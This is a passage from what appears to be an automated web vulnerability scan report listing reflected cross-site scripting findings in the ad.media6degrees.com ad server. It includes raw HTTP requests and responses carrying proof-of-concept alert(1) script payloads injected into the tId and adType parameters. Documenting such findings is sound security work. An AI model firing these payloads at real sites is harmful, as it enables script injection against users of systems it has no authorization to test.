Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=42l157rlklhm40000000d3m01157olkxlm5000000083m0115holkxlm5000000083m0115sklkkpqq0000000l3m010m7alkkxrb0000000i3m0112nslkxrxz000000023m0113mklkxrxz000000023m010x1blkkpqq0000000l3m010hsplkkpqq0000000l3m010m7flkkyyl0000000g3m0112gdlkkyy00000000h3m0112zglkxrxz000000023m0113lxlkxrxz000000023m01148ilkxlm5000000083m010morlkkxrb0000000i3m0114k6lkxlm5000000083m0114rwlkxlm5000000083m0112yxlkxrxz000000023m0114khlkxlm5000000083m011196lkkkbe0000000r3m0113x4lkxrxz000000023m011195lkkpqh0000000m3m011194lkkjj40000000s3m0115iglkxq0l000000043m010dlxlkb5u20000000w3m0116nulkxlm5000000083m0114hplkxlm5000000083m0116s2lkxpyu000000053m010znmlk3462000000113m0114hclkxlm5000000083m011193lkkplo0000000o3m01102plkxrxz000000023m010p46lkkpqq0000000l3m011192lkkpke0000000q3m01008slklhm40000000d3m0116oilkxlm5000000083m010moylkl0r50000000e3m010p1blkb5u20000000w3m0110tylkkpku0000000p3m0100bvlk9pe80000000x3m0115xylk60qe000000103m0110lxlkxrxz000000023m0112ftlkxrxz000000023m0110poljyxb4000000133m01103blkxrxz000000023m010e6llkl0r50000000e3m0110telkd7nq0000000v3m0116rslkxppm000000063m010c9slk9pe80000000x3m01138olkxrxz000000023m0110rdlkdkly0000000t3m01167ulkxq41000000033m01126qlkxrxz000000023m010mj2lkkxrb0000000i3m01159olk8fax0000000y3m0114qllkxlm5000000083m010kualkkpqq0000000l3m0115halkxlm5000000083m01163plkxlm5000000083m010m0ulkl0r50000000e3m010m45lkl0r50000000e3m010m40lkkxrb0000000i3m010m0plkkxrb0000000i3m0116e6lkxnbq000000073m010zqylkxrxz000000023m010mjelkkxrb0000000i3m0112qnlkkplt0000000n3m0114xnlkxlm5000000083m01167blkl0r50000000e3m010bo8lkb5u20000000w3m0112x6lkxrxz000000023m010mjjlkl0r50000000e3m011391lkxrxz000000023m011672lkkxrb0000000i3m010lw5lkb5u20000000w3m010ycrlkncow0000000c3m0116atlkxlm5000000083m0115k9lkxlm5000000083m011203lkb5u20000000w3m0113lelkxrxz000000023m011204lkkyy00000000h3m01137rlkkpqq0000000l3m01163clkxlm5000000083m010o0vlkkpqx0000000k3m011240lkxrxz000000023m0114ozlkxlm5000000083m0114bmlkxrxz000000023m0114j7lkxlm5000000083m0114bzlkxlm5000000083m010z2ilkkxrb0000000i3m010ni1lkb5u20000000w3m0113ovlkxrxz000000023m0111pjlkxrxz000000023m01; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:12 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm5000000083m010k08508dsnlkxlm5006bu0083m010k08508arllkxlm5006bu0083m010k08508cg5lkxlm5006bu0083m010k085089rslkkpke0d2dl00q3m010k0950qam5lkkxr8002zw00j3m010k0950jcd4lkxlm5006bu0083m010k08508crglkxlm5006bu0083m010k08508cnolkxlm5006bu0083m010k08508abelkxlm5006bu0083m010k08508dd8lkxlm5006bu0083m010k08508cy2lkxlm5006bu0083m010k08508aoplkb5u209jqc0063e000j00500cnxlkxlm5000000083m010k08508bq3lkxlm5006bu0083m010k08508bvplkxlm5006bu0083m010k08508aoilkxlm5006bu0083m010k08508942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu0083m010k08508bvclkxlm5006bu0083m010k08508c5flkxlm5006bu0083m010k0850856blkb5u20mfs300o3l000k00500bjqlkxlm5006bu0083m010k08508awklkxlm5006bu0083m010k08508asulkb5u209jqc0063e000j00500crplkxlm5006bu0083m010k08508asqlkxlm5006bu0083m010k08508c5rlkov6e0000000b3m010k0950baw8lkxlm5006bu0083m010k08508c60lkxlm5006bu0083m010k08508dc4lkxlm5006bu0083m010k08508d26lkxlm5006bu0083m010k08508dnjlkxlm5006bu0083m010k08508brilkxlm5006bu0083m010k08508cbclkxlm5006bu0083m010k08508c85lkxlm5006bu0083m010k08508csslkxlm5006bu0083m010k08508c80lkb5u209jqc0063e000j00500ag2lkd7nq0m6ya00v3m010k0950sc1elkxlm5006bu0083m010k08508c81lkkpke0cw1r00i3l000k005009grlkxlm5006bu0083m010k08508c8flkxlm5006bu0083m010k08508a6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu0083m010k085089z6lkxlm5000000083m010k08508dbtlkxlm5006bu0083m010k08508dyllkxlm5006bu0083m010k085080kllklhm40c4010053l000k005009q4lkxlm5006bu0083m010k085089q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu0083m010k085080t7ljyxb410haw0133m010k0950sdgflkkpke0d2dl00q3m010k0950q9mjlkxlm5000000083m010k08508bo0lkb5u20mm3x00w3m010k0950sbo1lkkyy00cmo50093l000k005009pglkxlm5006bu0083m010k08508cwalkxlm5006bu0083m010k08508d86lklhm40c4010053l000k00500d84lkxlm5006bu0083m010k08508dqllkxlm5006bu0083m010k08508dz3lkxlm5006bu0083m010k08508cm6lkxlm5006bu0083m010k08508cxdlkxlm5006bu0083m010k08508719lkb5u20mm3x00e3m010k0850971alkkpke0cw1r00i3l000k00500ctplkxlm5006bu0083m010k08508cc3lkxlm5006bu0083m010k08508dgilkb5u209jqc0063e000j00500cthlkxlm5006bu0083m010k085084wclkb5u20mm3x00e3m010k085098eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu0083m010k08508arilkxlm5000000083m010k08508bwjlkkyy00cszz00h3m010k0950hcbplkxlm5006bu0083m010k085089gelkxlm5006bu0083m010k08508; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:12 GMT; Path=/
Set-Cookie: vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:12 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 13:25:12 GMT
Content-Length: 930

<a href="http://ad.media6degrees.com/adserv/clk?tId=4601030440985026|cId=5902|cb=1305033249|notifyPort=8080|exId=21|tId=4601030440985026|ec=1|secId=414|price=2.133250|pubId=625|advId=1209|notifyServer
...[SNIP]...
cript">
(new Image(0,0)).src = "http://audit.303br.net?anId=40&pubId=3715&advId=30811&campId=3984&vURL=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&79fc4"-alert(1)-"37cdb737b1c=1";
</script>
...[SNIP]...

4.96. http://ad.media6degrees.com/adserv/cs [tId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/cs

Issue detail

The value of the tId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54adc"-alert(1)-"3503f963d0d was submitted in the tId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adserv/cs?tId=4601030440985026|cb=1305033249|adType=iframe|cId=5902|ec=1|spId=30811|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd171.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F54adc"-alert(1)-"3503f963d0d HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/above_fold?t=1305033247722&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr8160352rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh146ca0153l080k0850r; rdrlst=42l157rlklhm40000000c3l08157olkxlm5000000073l0715holkxlm5000000073l0715sklkkpqq0000000k3l080m7alkkxrb0000000h3l0812nslkxrxz000000013l0113mklkxrxz000000013l010x1blkkpqq0000000k3l080hsplkkpqq0000000k3l080m7flkkyyl0000000f3l0812gdlkkyy00000000g3l0812zglkxrxz000000013l0113lxlkxrxz000000013l01148ilkxlm5000000073l070morlkkxrb0000000h3l0814k6lkxlm5000000073l0714rwlkxlm5000000073l0712yxlkxrxz000000013l0113x4lkxrxz000000013l011196lkkkbe0000000q3l0814khlkxlm5000000073l071195lkkpqh0000000l3l0815iglkxq0l000000033l031194lkkjj40000000r3l080dlxlkb5u20000000v3l0816nulkxlm5000000073l0714hplkxlm5000000073l0716s2lkxpyu000000043l040znmlk3462000000103l0814hclkxlm5000000073l071193lkkplo0000000n3l08102plkxrxz000000013l010p46lkkpqq0000000k3l081192lkkpke0000000p3l08008slklhm40000000c3l0816oilkxlm5000000073l070moylkl0r50000000d3l080p1blkb5u20000000v3l0810tylkkpku0000000o3l0800bvlk9pe80000000w3l0815xylk60qe0000000z3l0810lxlkxrxz000000013l0112ftlkxrxz000000013l0110poljyxb4000000123l08103blkxrxz000000013l010e6llkl0r50000000d3l0810telkd7nq0000000u3l0816rslkxppm000000053l050c9slk9pe80000000w3l08138olkxrxz000000013l01167ulkxq41000000023l0210rdlkdkly0000000s3l08126qlkxrxz000000013l010mj2lkkxrb0000000h3l0814qllkxlm5000000073l07159olk8fax0000000x3l0815halkxlm5000000073l070kualkkpqq0000000k3l08163plkxlm5000000073l070m0ulkl0r50000000d3l080m45lkl0r50000000d3l080m0plkkxrb0000000h3l080m40lkkxrb0000000h3l080zqylkxrxz000000013l0116e6lkxnbq000000063l060mjelkkxrb0000000h3l0814xnlkxlm5000000073l0712qnlkkplt0000000m3l08167blkl0r50000000d3l0812x6lkxrxz000000013l010bo8lkb5u20000000v3l080mjjlkl0r50000000d3l081391lkxrxz000000013l011672lkkxrb0000000h3l080lw5lkb5u20000000v3l080ycrlkncow0000000b3l0815k9lkxlm5000000073l0716atlkxlm5000000073l0713lelkxrxz000000013l011203lkb5u20000000v3l08163clkxlm5000000073l07137rlkkpqq0000000k3l081204lkkyy00000000g3l081240lkxrxz000000013l010o0vlkkpqx0000000j3l0814ozlkxlm5000000073l0714bmlkxrxz000000013l0114j7lkxlm5000000073l0714bzlkxlm5000000073l070z2ilkkxrb0000000h3l0813ovlkxrxz000000013l010ni1lkb5u20000000v3l0811pjlkxrxz000000013l01; sglst=2280sbpelkxlm5000000073l070k07507dsnlkxlm5006bu0073l070k07507arllkxlm5006bu0073l070k07507cg5lkxlm5006bu0073l070k075079rslkkpke0d2dl00p3l080k0850pam5lkkxr8002zw00i3l080k0850icd4lkxlm5006bu0073l070k07507crglkxlm5006bu0073l070k07507cnolkxlm5006bu0073l070k07507abelkxlm5006bu0073l070k07507dd8lkxlm5006bu0073l070k07507cy2lkxlm5006bu0073l070k07507aoplkb5u209jqc0063e000j00500cnxlkxlm5000000073l070k07507bq3lkxlm5006bu0073l070k07507aoilkxlm5006bu0073l070k07507bvplkxlm5006bu0073l070k07507942lkb5u20mfs300o3l000k005009ullkxlm5006bu0073l070k075078ndlkb5u20mfs300o3l000k00500bvclkxlm5006bu0073l070k07507c5flkxlm5006bu0073l070k0750756blkb5u20mfs300o3l000k00500bjqlkxlm5006bu0073l070k07507awklkxlm5006bu0073l070k07507asulkb5u209jqc0063e000j00500crplkxlm5006bu0073l070k07507asqlkxlm5006bu0073l070k07507c5rlkov6e0000000a3l080k0850aaw8lkxlm5006bu0073l070k07507c60lkxlm5006bu0073l070k07507dc4lkxlm5006bu0073l070k07507d26lkxlm5006bu0073l070k07507dnjlkxlm5006bu0073l070k07507brilkxlm5006bu0073l070k07507cbclkxlm5006bu0073l070k07507c85lkxlm5006bu0073l070k07507csslkxlm5006bu0073l070k07507c80lkb5u209jqc0063e000j00500ag2lkd7nq0kka900u3l080k0850rc1elkxlm5006bu0073l070k07507c81lkkpke0cw1r00i3l000k005009grlkxlm5006bu0073l070k07507c8flkxlm5006bu0073l070k07507a6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu0073l070k075079z6lkxlm5000000073l070k07507dbtlkxlm5006bu0073l070k075079q4lkxlm5006bu0073l070k075070kllklhm40c4010053l000k00500dyllkxlm5006bu0073l070k07507b3zlkxlm5006bu0073l070k075079q5lkb5u20mfs300o3l000k005009mjlkxlm5000000073l070k07507dgflkkpke0d2dl00p3l080k0850p0t7ljyxb40yumv0123l080k0850rbo0lkb5u20mm3x00v3l080k0850rbo1lkkyy00cmo50093l000k005009pglkxlm5006bu0073l070k07507d86lklhm40c4010053l000k00500cwalkxlm5006bu0073l070k07507dqllkxlm5006bu0073l070k07507d84lkxlm5006bu0073l070k07507dz3lkxlm5006bu0073l070k07507cm6lkxlm5006bu0073l070k07507cxdlkxlm5006bu0073l070k07507719lkb5u20mm3x00d3l070k0750871alkkpke0cw1r00i3l000k00500ctplkxlm5006bu0073l070k07507cc3lkxlm5006bu0073l070k07507dgilkb5u209jqc0063e000j00500cthlkxlm5006bu0073l070k075074wclkb5u20mm3x00d3l070k07508a0ulkxlm5006bu0073l070k075075mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm5000000073l070k07507cbplkxlm5006bu0073l070k07507bwjlkkyy00cszz00g3l080k0850g9gelkxlm5006bu0073l070k07507; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr816044tm3012v701QWJzhCSHC00eguh52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:01 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15t000163m010k0950s; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:01 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=42l157rlklhm40000000d3m01157olkxlm5000000083m0115holkxlm5000000083m0115sklkkpqq0000000l3m010m7alkkxrb0000000i3m0112nslkxrxz000000023m0113mklkxrxz000000023m010x1blkkpqq0000000l3m010hsplkkpqq0000000l3m010m7flkkyyl0000000g3m0112gdlkkyy00000000h3m0112zglkxrxz000000023m0113lxlkxrxz000000023m01148ilkxlm5000000083m010morlkkxrb0000000i3m0114k6lkxlm5000000083m0114rwlkxlm5000000083m0112yxlkxrxz000000023m0114khlkxlm5000000083m011196lkkkbe0000000r3m0113x4lkxrxz000000023m011195lkkpqh0000000m3m011194lkkjj40000000s3m0115iglkxq0l000000043m010dlxlkb5u20000000w3m0116nulkxlm5000000083m0114hplkxlm5000000083m0116s2lkxpyu000000053m010znmlk3462000000113m0114hclkxlm5000000083m011193lkkplo0000000o3m01102plkxrxz000000023m010p46lkkpqq0000000l3m011192lkkpke0000000q3m01008slklhm40000000d3m0116oilkxlm5000000083m010moylkl0r50000000e3m010p1blkb5u20000000w3m0110tylkkpku0000000p3m0100bvlk9pe80000000x3m0115xylk60qe000000103m0110lxlkxrxz000000023m0112ftlkxrxz000000023m0110poljyxb4000000133m01103blkxrxz000000023m010e6llkl0r50000000e3m0110telkd7nq0000000v3m0116rslkxppm000000063m010c9slk9pe80000000x3m01138olkxrxz000000023m0110rdlkdkly0000000t3m01167ulkxq41000000033m01126qlkxrxz000000023m010mj2lkkxrb0000000i3m01159olk8fax0000000y3m0114qllkxlm5000000083m010kualkkpqq0000000l3m0115halkxlm5000000083m01163plkxlm5000000083m010m0ulkl0r50000000e3m010m45lkl0r50000000e3m010m40lkkxrb0000000i3m010m0plkkxrb0000000i3m0116e6lkxnbq000000073m010zqylkxrxz000000023m010mjelkkxrb0000000i3m0112qnlkkplt0000000n3m0114xnlkxlm5000000083m01167blkl0r50000000e3m010bo8lkb5u20000000w3m0112x6lkxrxz000000023m010mjjlkl0r50000000e3m011391lkxrxz000000023m011672lkkxrb0000000i3m010lw5lkb5u20000000w3m010ycrlkncow0000000c3m0116atlkxlm5000000083m0115k9lkxlm5000000083m011203lkb5u20000000w3m0113lelkxrxz000000023m011204lkkyy00000000h3m01137rlkkpqq0000000l3m01163clkxlm5000000083m010o0vlkkpqx0000000k3m011240lkxrxz000000023m0114ozlkxlm5000000083m0114bmlkxrxz000000023m0114j7lkxlm5000000083m0114bzlkxlm5000000083m010z2ilkkxrb0000000i3m010ni1lkb5u20000000w3m0113ovlkxrxz000000023m0111pjlkxrxz000000023m01; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:01 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm5000000083m010k08508dsnlkxlm5006bu0083m010k08508arllkxlm5006bu0083m010k08508cg5lkxlm5006bu0083m010k085089rslkkpke0d2dl00q3m010k0950qam5lkkxr8002zw00j3m010k0950jcd4lkxlm5006bu0083m010k08508crglkxlm5006bu0083m010k08508cnolkxlm5006bu0083m010k08508abelkxlm5006bu0083m010k08508dd8lkxlm5006bu0083m010k08508cy2lkxlm5006bu0083m010k08508aoplkb5u209jqc0063e000j00500cnxlkxlm5000000083m010k08508bq3lkxlm5006bu0083m010k08508bvplkxlm5006bu0083m010k08508aoilkxlm5006bu0083m010k08508942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu0083m010k08508bvclkxlm5006bu0083m010k08508c5flkxlm5006bu0083m010k0850856blkb5u20mfs300o3l000k00500bjqlkxlm5006bu0083m010k08508awklkxlm5006bu0083m010k08508asulkb5u209jqc0063e000j00500crplkxlm5006bu0083m010k08508asqlkxlm5006bu0083m010k08508c5rlkov6e0000000b3m010k0950baw8lkxlm5006bu0083m010k08508c60lkxlm5006bu0083m010k08508dc4lkxlm5006bu0083m010k08508d26lkxlm5006bu0083m010k08508dnjlkxlm5006bu0083m010k08508brilkxlm5006bu0083m010k08508cbclkxlm5006bu0083m010k08508c85lkxlm5006bu0083m010k08508csslkxlm5006bu0083m010k08508c80lkb5u209jqc0063e000j00500ag2lkd7nq0m6xz00v3m010k0950sc1elkxlm5006bu0083m010k08508c81lkkpke0cw1r00i3l000k005009grlkxlm5006bu0083m010k08508c8flkxlm5006bu0083m010k08508a6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu0083m010k085089z6lkxlm5000000083m010k08508dbtlkxlm5006bu0083m010k08508dyllkxlm5006bu0083m010k085080kllklhm40c4010053l000k005009q4lkxlm5006bu0083m010k085089q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu0083m010k085080t7ljyxb410hal0133m010k0950sdgflkkpke0d2dl00q3m010k0950q9mjlkxlm5000000083m010k08508bo0lkb5u20mm3x00w3m010k0950sbo1lkkyy00cmo50093l000k005009pglkxlm5006bu0083m010k08508cwalkxlm5006bu0083m010k08508d86lklhm40c4010053l000k00500d84lkxlm5006bu0083m010k08508dqllkxlm5006bu0083m010k08508dz3lkxlm5006bu0083m010k08508cm6lkxlm5006bu0083m010k08508cxdlkxlm5006bu0083m010k08508719lkb5u20mm3x00e3m010k0850971alkkpke0cw1r00i3l000k00500ctplkxlm5006bu0083m010k08508cc3lkxlm5006bu0083m010k08508dgilkb5u209jqc0063e000j00500cthlkxlm5006bu0083m010k085084wclkb5u20mm3x00e3m010k085098eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu0083m010k08508arilkxlm5000000083m010k08508bwjlkkyy00cszz00h3m010k0950hcbplkxlm5006bu0083m010k085089gelkxlm5006bu0083m010k08508; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:01 GMT; Path=/
Set-Cookie: vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:25:01 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 13:25:01 GMT
Content-Length: 927

<a href="http://ad.media6degrees.com/adserv/clk?tId=4601030440985026|cId=5902|cb=1305033249|notifyPort=8080|exId=21|tId=4601030440985026|ec=1|secId=414|price=2.133250|pubId=625|advId=1209|notifyServer
...[SNIP]...
Script">
(new Image(0,0)).src = "http://audit.303br.net?anId=40&pubId=3715&advId=30811&campId=3984&vURL=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F54adc"-alert(1)-"3503f963d0d";
</script>
...[SNIP]...

4.97. http://ad.media6degrees.com/adserv/csst [adType parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the adType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f0a9"><script>alert(1)</script>62aa3eb008c was submitted in the adType parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l4f0a9"><script>alert(1)</script>62aa3eb008c&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; 